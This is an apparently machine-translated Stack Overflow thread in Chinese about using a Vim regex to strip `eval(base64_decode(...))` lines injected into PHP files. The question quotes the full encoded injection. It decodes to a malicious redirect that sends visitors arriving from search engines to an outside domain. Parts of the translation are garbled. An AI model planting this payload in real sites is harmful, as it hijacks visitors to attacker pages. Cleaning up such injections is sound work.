Regex 什么';我的VIM正则表达式搜索和替换一些代码有什么问题吗?

Regex 什么';我的VIM正则表达式搜索和替换一些代码有什么问题吗?,regex,vim,Regex,Vim,我在php文件中有以下代码 eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigk

我在php文件中有以下代码

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9ydW56b3IuZG5zcmQuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));
我打开VIM并尝试运行
0,$s/eval(+;//gc
来删除它的所有实例,但是VIM说找不到模式。正确的表达式是什么

注意-根据我的评论,我还尝试了
0、$s/eval\(.+;//gc
和VIM
E54:Unmatched\(E476:Invalid command


我还尝试了
0,$s/eval\(.\+;//gc
,再次得到
E54:Unmatched\(E476:Vim中的无效命令

,与其他大多数地方不同,某些元字符必须转义才能用作元字符,而不是转义为文字。因此,您需要将
+
转义为
\+
,以匹配前面的一个或多个

上面的内容已经过测试,可以使用PHP代码段


编辑:抱歉-上一个版本有一个错误的
\(
其中
应该作为文本取消scape)。

我还尝试了
0、$s/eval\(.+;//gc
和VIM
E54:不匹配\(E476:无效命令
Vim regex要求您转义
+
,以便将其用作元字符而不是文字。使用
\+
%s/eval转义(.*//gc
这似乎对我有用。或者它应该是@DanteisnotaGeek所说的
1,$s
。@Cthulhu您的答案也是这样吗worked@Cthulhu我的意思是取消对
-对不起
0,$s/eval(.\+;//gc